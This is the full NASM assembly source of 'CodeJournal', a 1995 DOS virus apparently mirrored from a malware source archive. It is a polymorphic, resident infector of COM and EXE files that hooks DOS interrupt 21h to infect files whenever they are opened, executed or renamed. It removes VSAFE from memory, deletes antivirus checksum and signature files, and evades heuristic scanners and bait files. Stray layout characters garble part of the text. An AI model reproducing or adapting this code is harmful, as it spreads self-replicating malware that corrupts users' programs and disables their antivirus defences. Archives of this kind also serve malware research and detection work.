mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-29 22:45:27 +00:00
589 lines
19 KiB
NASM
589 lines
19 KiB
NASM
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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; CodeJournal virus, (c)1995 <20>irogen [NuKE]
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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;
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; Polymorphic, Resident, Parastic EXE/COM Fast Infector. This is
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; another one of my fuck-Invircible viruses. It uses absolutly
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; no stealth techniques, yet successfully piggybacks invircible.
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;
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; Anti-Invircible Code
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; ----------------------
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; Completly defeats InVircible's v6.02 Anti-Piggybacking
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; Avoids Bait Files
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; Doesn't infect InVircible executables
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; Deletes Invircible v6.02 signature files no matter what name they have
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; Searches for and deletes them on set dir (21h/3Bh) call
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;
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; The Rest
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; ----------------------
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; Polymorphism is <20>iCE v0.5
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; Infects on: Open (3Dh), Rename (56h), Ext. Open (6Ch), Execute (4Bh)
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; Doesn't infect executables ending in 'AN', 'OT', 'AV', 'NU', or 'ND'.
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; Attempts to get DOS 21h vector by assuming offset is 109Eh in DOS seg.
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; Deletes all signature/recovery files known to man
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; TBSCAN doesn't flag COM files at all because of my patented JMP construct
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; Only subtracts from total memory when DOS allocate memory (49h) is called
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; ..and then the usual shit..
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;
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;
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;
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;
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cseg segment
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assume cs: cseg, ds: cseg, es: cseg, ss: cseg
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signal equ 063ABh
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buf_size equ 850
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vice_size equ 1993+buf_size
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virus_size equ (offset vend-offset start)+VICE_SIZE
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max_iv_size equ 256*66 ; maximum size a signature file
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; can be, speeds up search.
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; can't contain more than 256
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; records
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extrn _vice: near
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org 0h
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start:
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call get_bp ; get relative offset
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nx:
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push ds es ; save segments for EXE
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inc si ; SI!=0
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mov ax,signal
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int 21h
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or si,si
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jz no_install
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mov dx,5945h ; remove VSAFE from memory
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mov ax,3D02h
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add ax,0FA01h-3D02h
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int 21h
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mov cs:int_busy[bp],0 ; reset interrupt busy flag
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mov ax,ds ; PSP segment
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dec ax ; mcb below PSP m0n
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mov ds,ax ; DS=MCB seg
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mov al,'Z'+1 ; fuck heuristics
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dec al
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cmp byte ptr ds: [0],al ; Is this the last MCB in chain?
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jnz no_install
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sub word ptr ds: [3],((virus_size+1023)/1024)*64*2 ; alloc MCB
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sub word ptr ds: [12h],((virus_size+1023)/1024)*64*2 ; alloc PSP
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mov es,word ptr ds: [12h] ; get high mem seg
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push cs
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pop ds
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mov si,bp
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mov cx,virus_size/2+1
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xor di,di
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rep movsw ; copy code to new seg
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xor ax,ax
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mov ds,ax ; null ds
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push ds
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lds ax,ds: [21h*4] ; get 21h vector
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mov es: word ptr old21+2,ds ; save S:O
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mov es: word ptr old21,ax
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pop ds
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mov ds: [21h*4+2],es ; new int 21h seg
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mov ds: [21h*4],offset new21 ; new offset
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no_install:
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pop es ds ; restore ES DS
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xor ax,ax ; null regs
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xor bx,bx
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xor dx,dx
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cmp cs: is_exe[bp],1
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jz exe_return
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lea si,org_bytes[bp] ; com return
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mov di,0100h ; -restore first bytes
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mov cx,3
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rep movsb
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xor di,di
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xor si,si
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mov cx,100h ; jump back to 100h
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push cx
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_ret: ret
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exe_return:
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xor di,di
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xor si,si
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mov cx,ds ; calc. real CS
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add cx,10h
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add word ptr cs: [exe_jump+2+bp],cx
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cli
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add cx,cs:orgss[bp] ; calc. real SS
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mov ss,cx
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mov sp,cs:orgsp[bp] ; restore SP
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sti
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int 3 ; fix prefetch
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db 0eah
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exe_jump dd 0
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is_exe db 0
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get_bp:
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int 3
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pop bp
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push bp
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sub bp,offset nx
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ret
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; resident infection function
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infect_file:
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cmp ah,6ch+1 ; from extended open?
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jnz not_extended
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mov dx,si
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not_extended:
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mov di,dx
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mov al,'.'
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mov cx,0FFh
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repnz scasb
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or cx,cx
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jnz got_ext
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ret
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got_ext:
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cmp word ptr [di],'oc'
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jz is_exec
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cmp word ptr [di],'OC'
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jz is_exec
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cmp word ptr [di],'xe'
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jz is_exec
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cmp word ptr [di],'XE'
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jz is_exec
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is_bad:
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ret
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is_exec:
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cmp word ptr [di-3],'DN' ; *ND
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jz is_bad
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cmp word ptr [di-3],'NA' ; *AN
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jz is_bad
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cmp word ptr [di-3],'VA' ; *AV
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jz is_bad
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cmp word ptr [di-3],'TO' ; *OT
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jz is_bad
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cmp word ptr [di-3],'UN' ; *NU
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jz is_bad
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push ds
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xor ax,ax
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mov es,ax
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lds ax,es: [24h*4]
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mov cs: save24ip,ax ; save 24h
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mov cs: save24cs,ds
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lds ax,es: [21h*4]
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mov cs: save21ip,ax ; save 21h
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mov cs: save21cs,ds
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mov es: [24h*4+2],cs ; write new 24h
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mov es: [24h*4],offset new_24
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push es
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mov ah,52h ; get DOS segment
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int 21h
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pop ds
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mov si,109Eh ; assume 109Eh
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cmp es: [si],09090h ; is DOS vecor?
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jnz not_dos
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mov ds: [21h*4],si ; write new 21h
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mov ds: [21h*4+2],es
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not_dos:
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pop ds
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push cs
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pop es
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mov al,0 ; get phile attribute
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call attrib_file
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push cx ; save CX-attrib
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mov al,1 ; null attribs
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xor cx,cx
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call attrib_file
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mov al,2
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call open_file
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jc dont_do
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push cs
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pop ds
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mov cx,1ah
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lea dx,org_bytes
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call read_file
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mov al,0 ; get time/date
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call date_file
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push cx dx
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cmp byte ptr org_bytes,'M'
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jz do_exe
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cmp byte ptr org_bytes,90h ; InVircible bait?
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jz close
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cmp byte ptr org_bytes,0E9h ; us? / invircible bait?
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jz close
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mov is_exe,0
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call offset_end
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cmp ax,0FFFFh-virus_size ; file too big?
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ja close
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push ax ; AX=end of file
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lea si,start ; DS:SI=start of code to encrypt
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mov di,virus_size ; ES:DI=address for decryptor/
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push di ; encrypted code. (at heap)
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mov cx,virus_size ; CX=virus size
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mov dx,ax ; DX=EOF offset
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add dx,100h ; DX=offset decryptor will run from
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mov al,00000011b ; garbage, no CS:
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call _vice ; call engine!
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pop dx
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call write_file
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call offset_zero
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pop ax ; restore COM file size
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sub ax,3 ; calculate jmp offset
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mov word ptr new_jmp+1,ax
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lea dx,new_jmp
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mov cx,3
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call write_file
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close:
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pop dx cx ; pop date/time
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mov al,01 ; restore the mother fuckers
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call date_file
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dont_do:
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pop cx ; restore attrib
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mov al,1
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call attrib_file
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call close_file
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xor ax,ax
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mov es,ax
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lds ax,dword ptr cs: save24ip ; restore shitty DOS error handler
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mov es: [24h*4],ax
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mov es: [24h*4+2],ds
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lds ax,dword ptr cs: save21ip
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mov es: [21h*4],ax
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mov es: [21h*4+2],ds
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ret
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do_exe:
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cmp word ptr exe_header[12h],0 ; is checksum (in hdr) 0?
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jnz close ; could be iv bait if not
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cmp byte ptr exe_header[18h],52h ; pklite'd?
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jz exe_ok
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cmp byte ptr exe_header[18h],40h ; don't infect new format exe
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jge close
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mov ax,word ptr exe_header[0Ah] ; get minimum memory
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cmp word ptr exe_header[0Ch],ax ; if max mem=min mem then ok
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jz exe_ok
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cmp byte ptr exe_header[0Ch],0FFh ; max memory FFFFh?
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jnz close
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exe_ok:
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push bx
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mov ah,2ch ; grab a random number
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int 21h
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mov word ptr exe_header[12h],dx ; mark that it's us
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mov is_exe,1
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les ax,dword ptr exe_header[0eh] ; get old SS:SP
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mov word ptr orgss,ax ; not reversed
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mov word ptr orgsp,es
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les ax,dword ptr exe_header[14h] ; Save old entry point
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mov word ptr exe_jump, ax
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mov word ptr exe_jump+2, es
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push cs
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pop es
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call offset_end
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mov cx,10h ; divide by 16
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div cx
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sub ax, word ptr exe_header[8] ; subtract header size
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mov word ptr exe_header[14h],dx ; new cs:ip
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mov word ptr exe_header[16h],ax
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inc ax
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mov word ptr exe_header[0eh],ax ; new SS
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mov word ptr exe_header[10h],0F000h ; new SP
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lea si,start ; DS:SI=start of code to encrypt
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mov di,virus_size ; ES:DI=address for decryptor & code
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mov cx,virus_size ; CX=virus size
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mov al,00000010b ; garbage, use CS:
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call _vice ; call engine!
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pop bx ; pop handle
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mov dx,virus_size
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call write_file ; append virus
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call offset_end ; get adjusted file size
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mov cx,512 ; divide by 512
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div cx
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inc ax ; add a page
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mov word ptr exe_header+4,ax ; save new size
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mov word ptr exe_header+2,dx
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call offset_zero
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mov cx,18h ; write fiXed header
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lea dx,exe_header
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call write_file
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jmp close
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offset_zero:
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xor al,al
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jmp set_fp
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offset_end:
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mov al,02h
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set_fp:
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mov ah,42h
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|
|
xor cx,cx
|
|||
|
|
xor dx,dx
|
|||
|
|
int 21h
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
open_file:
|
|||
|
|
mov ah,3dh
|
|||
|
|
int 21h
|
|||
|
|
xchg ax,bx
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
close_file:
|
|||
|
|
mov ah,3eh
|
|||
|
|
int 21h
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
read_file:
|
|||
|
|
mov ah,3fh
|
|||
|
|
int 21h
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
write_file:
|
|||
|
|
mov ah,40h
|
|||
|
|
int 21h
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
attrib_file:
|
|||
|
|
mov ah,43h
|
|||
|
|
int 21h
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
date_file:
|
|||
|
|
mov ah,56h
|
|||
|
|
int 21h
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
new21:
|
|||
|
|
pushf
|
|||
|
|
cmp ax,signal ; be it us?
|
|||
|
|
jnz nchk ; richtig..
|
|||
|
|
xor si,si
|
|||
|
|
popf
|
|||
|
|
iret
|
|||
|
|
nchk:
|
|||
|
|
cmp cs:int_busy,1 ; are we already in int?
|
|||
|
|
jz jmp_no_stack
|
|||
|
|
mov cs:int_busy,1 ; now we are
|
|||
|
|
|
|||
|
|
inc ah ; fuck heuristics
|
|||
|
|
cmp cs: fix_mem,1 ; need to fix memory?
|
|||
|
|
jz add_mem
|
|||
|
|
cmp ah,48h+1 ; allocate memory?
|
|||
|
|
jz sub_mem
|
|||
|
|
cmp ah,3Bh+1 ; set dir?
|
|||
|
|
jz kill_anti_virus
|
|||
|
|
cmp ah,4bh+1 ; execute phile?
|
|||
|
|
jz go_infect
|
|||
|
|
cmp ah,3dh+1 ; open phile?
|
|||
|
|
jz go_infect
|
|||
|
|
cmp ah,6ch+1 ; extended open?
|
|||
|
|
jz go_infect
|
|||
|
|
cmp ah,56h+1 ; rename/move phile?
|
|||
|
|
jnz jmp_org
|
|||
|
|
|
|||
|
|
go_infect:
|
|||
|
|
call push_regs
|
|||
|
|
call infect_file
|
|||
|
|
call pop_regs
|
|||
|
|
jmp_org:
|
|||
|
|
dec cs:int_busy ; not busy anymore
|
|||
|
|
dec ah ; restore function
|
|||
|
|
|
|||
|
|
jmp_no_stack:
|
|||
|
|
popf
|
|||
|
|
db 0eah ; jump far XXXX:XXXX
|
|||
|
|
old21 dd 0
|
|||
|
|
|
|||
|
|
si_jmp_org:
|
|||
|
|
pop si
|
|||
|
|
jmp jmp_org
|
|||
|
|
|
|||
|
|
|
|||
|
|
add_mem:
|
|||
|
|
mov cs: fix_mem,0
|
|||
|
|
push ax ds
|
|||
|
|
xor ax,ax
|
|||
|
|
mov ds,ax
|
|||
|
|
add byte ptr ds: [413h],((virus_size+1023)*2)/1024 ;+totalmem
|
|||
|
|
pop ds ax
|
|||
|
|
jmp jmp_org
|
|||
|
|
sub_mem:
|
|||
|
|
mov cs: fix_mem,1
|
|||
|
|
push ax ds
|
|||
|
|
xor ax,ax
|
|||
|
|
mov ds,ax
|
|||
|
|
sub byte ptr ds: [413h],((virus_size+1023)*2)/1024 ;-totalmem
|
|||
|
|
pop ds ax
|
|||
|
|
jmp jmp_org
|
|||
|
|
|
|||
|
|
kill_anti_virus:
|
|||
|
|
call push_regs
|
|||
|
|
push cs
|
|||
|
|
pop ds
|
|||
|
|
mov ah,2fh ; get DTA
|
|||
|
|
int 21h
|
|||
|
|
push bx es ; save DTA
|
|||
|
|
push cs
|
|||
|
|
pop es
|
|||
|
|
lea dx,ff_info
|
|||
|
|
call set_dta
|
|||
|
|
mov cx,16h ; include all attribs
|
|||
|
|
lea dx,inv_spec
|
|||
|
|
mov ah,4eh
|
|||
|
|
int 21h ; findfirst
|
|||
|
|
jnc inv_loop
|
|||
|
|
jmp inv_done
|
|||
|
|
inv_loop:
|
|||
|
|
lea si,f_name
|
|||
|
|
push si
|
|||
|
|
mov dx,si
|
|||
|
|
cmp word ptr [si+4],'V-' ; ANTI-VIR.DAT?
|
|||
|
|
jz is_anti
|
|||
|
|
cmp word ptr [si+8],'SM' ; CHKLIST.MS?
|
|||
|
|
jz is_anti
|
|||
|
|
cmp word ptr [si+8],'PC' ; CHKLIST.CPS?
|
|||
|
|
jz is_anti
|
|||
|
|
cmp f_sizeh,0 ; high word set?
|
|||
|
|
jnz findnext
|
|||
|
|
cmp f_sizel,max_iv_size ; too big?
|
|||
|
|
jg findnext
|
|||
|
|
mov al,0
|
|||
|
|
call open_file
|
|||
|
|
jc findnext
|
|||
|
|
mov byte ptr inv_buf,0
|
|||
|
|
mov cx,44h
|
|||
|
|
lea dx,inv_buf
|
|||
|
|
call read_file
|
|||
|
|
cmp ax,44h
|
|||
|
|
jz record_s
|
|||
|
|
mov ax,word ptr inv_buf
|
|||
|
|
mov word ptr inv_buf[42h],ax
|
|||
|
|
record_s:
|
|||
|
|
call close_file
|
|||
|
|
lea si,inv_buf
|
|||
|
|
call chk_iv ; check first record
|
|||
|
|
jnz findnext
|
|||
|
|
lea si,inv_buf[42h]
|
|||
|
|
call chk_iv ; check second record
|
|||
|
|
jnz findnext
|
|||
|
|
is_anti:
|
|||
|
|
mov al,1 ; reset attribs
|
|||
|
|
xor cx,cx
|
|||
|
|
call attrib_file
|
|||
|
|
mov ah,41h
|
|||
|
|
lea dx,f_name
|
|||
|
|
int 21h
|
|||
|
|
findnext:
|
|||
|
|
mov al,0 ; null out filename
|
|||
|
|
pop di ; di-> fname
|
|||
|
|
mov cl,13
|
|||
|
|
rep stosb
|
|||
|
|
mov ah,4fh
|
|||
|
|
int 21h
|
|||
|
|
jc inv_done
|
|||
|
|
jmp inv_loop
|
|||
|
|
inv_done:
|
|||
|
|
pop ds dx ; restore DTA
|
|||
|
|
call set_dta
|
|||
|
|
no_kill:
|
|||
|
|
call pop_regs
|
|||
|
|
jmp jmp_org
|
|||
|
|
|
|||
|
|
set_dta:
|
|||
|
|
mov ah,1ah
|
|||
|
|
int 21h
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
chk_iv:
|
|||
|
|
cmp word ptr [si],'ZM'
|
|||
|
|
jz yea_iv
|
|||
|
|
cmp word ptr [si],'KP'
|
|||
|
|
jz yea_iv
|
|||
|
|
cmp word ptr [si],0EA60h
|
|||
|
|
yea_iv:
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
push_regs:
|
|||
|
|
mov cs:_bp,bp
|
|||
|
|
pop bp
|
|||
|
|
push ax bx cx di dx si ds es
|
|||
|
|
push bp
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
pop_regs:
|
|||
|
|
pop bp
|
|||
|
|
pop es ds si dx di cx bx ax
|
|||
|
|
push bp
|
|||
|
|
mov bp,cs:_bp
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
new_24: ; critical error handler
|
|||
|
|
mov al,3 ; prompts suck, return fail
|
|||
|
|
iret
|
|||
|
|
|
|||
|
|
|
|||
|
|
inv_spec db '*.*',0
|
|||
|
|
credits db 'CodeJournal by <20>irogen [NuKE]'
|
|||
|
|
orgss dw 0 ; original SS:SP in exe
|
|||
|
|
orgsp dw 0 ;
|
|||
|
|
fix_mem db 0
|
|||
|
|
new_jmp db 0E9h,0,0 ; jmp XXXX
|
|||
|
|
rel_off dw 0
|
|||
|
|
exe_header:
|
|||
|
|
org_bytes db 0CDh,20h, 6 dup (0) ; original COM bytes | exe hdr
|
|||
|
|
vend:
|
|||
|
|
db 13h dup(0) ; remaining exe header space
|
|||
|
|
save21ip dw 0 ; infected int21h vector
|
|||
|
|
save21cs dw 0
|
|||
|
|
save24ip dw 0 ; old int24h vector
|
|||
|
|
save24cs dw 0
|
|||
|
|
_bp dw 0
|
|||
|
|
int_busy db 0
|
|||
|
|
ff_info db 26 dup(0)
|
|||
|
|
f_sizel dw 0
|
|||
|
|
f_sizeh dw 0
|
|||
|
|
f_name db 13 dup(0)
|
|||
|
|
inv_buf db 44h dup (0)
|
|||
|
|
cseg ends
|
|||
|
|
end start
|
|||
|
|
|